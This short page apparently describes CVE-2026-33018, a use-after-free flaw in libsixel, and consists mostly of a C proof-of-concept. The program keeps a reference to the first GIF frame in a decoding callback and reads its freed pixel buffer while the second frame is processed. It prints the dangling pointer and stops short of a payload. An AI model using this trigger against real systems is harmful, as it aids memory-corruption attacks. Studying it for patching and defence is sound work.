CVE-2026-33018 libsixel释放后重用漏洞

/* * PoC Concept for CVE-2026-33018 * This code demonstrates the vulnerable usage pattern described in the advisory. * Compile with libsixel dev libraries. */ #include <sixel.h> #include <stdio.h> #include <stdlib.h> // Callback function simulating the vulnerable usage static int callback(sixel_frame_t *frame, void *priv) { static sixel_frame_t *saved_frame = NULL; // Simulate retaining the first frame as per documentation if (!saved_frame) { saved_frame = frame; sixel_frame_ref(saved_frame); // Increment ref count printf("Frame 1 captured. Pixel buffer: %p\n", (void*)sixel_frame_get_pixels(saved_frame)); } else { // When decoding the second frame, gif_init_frame frees the pixels internally // despite the ref count being non-zero. printf("Frame 2 processing. Accessing saved frame pixels...\n"); void *pixels = sixel_frame_get_pixels(saved_frame); // Accessing 'pixels' here triggers Use-After-Free printf("Saved Pixel buffer (Dangling): %p\n", pixels); // In a real exploit, further interaction with 'pixels' would occur here. } return 0; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "Usage: %s <malicious.gif>\n", argv[0]); return 1; } // Call the vulnerable function with a multi-frame callback int result = sixel_helper_load_image_file(argv[1], callback, NULL); if (result != 0) { fprintf(stderr, "Failed to load image.\n"); } return 0; }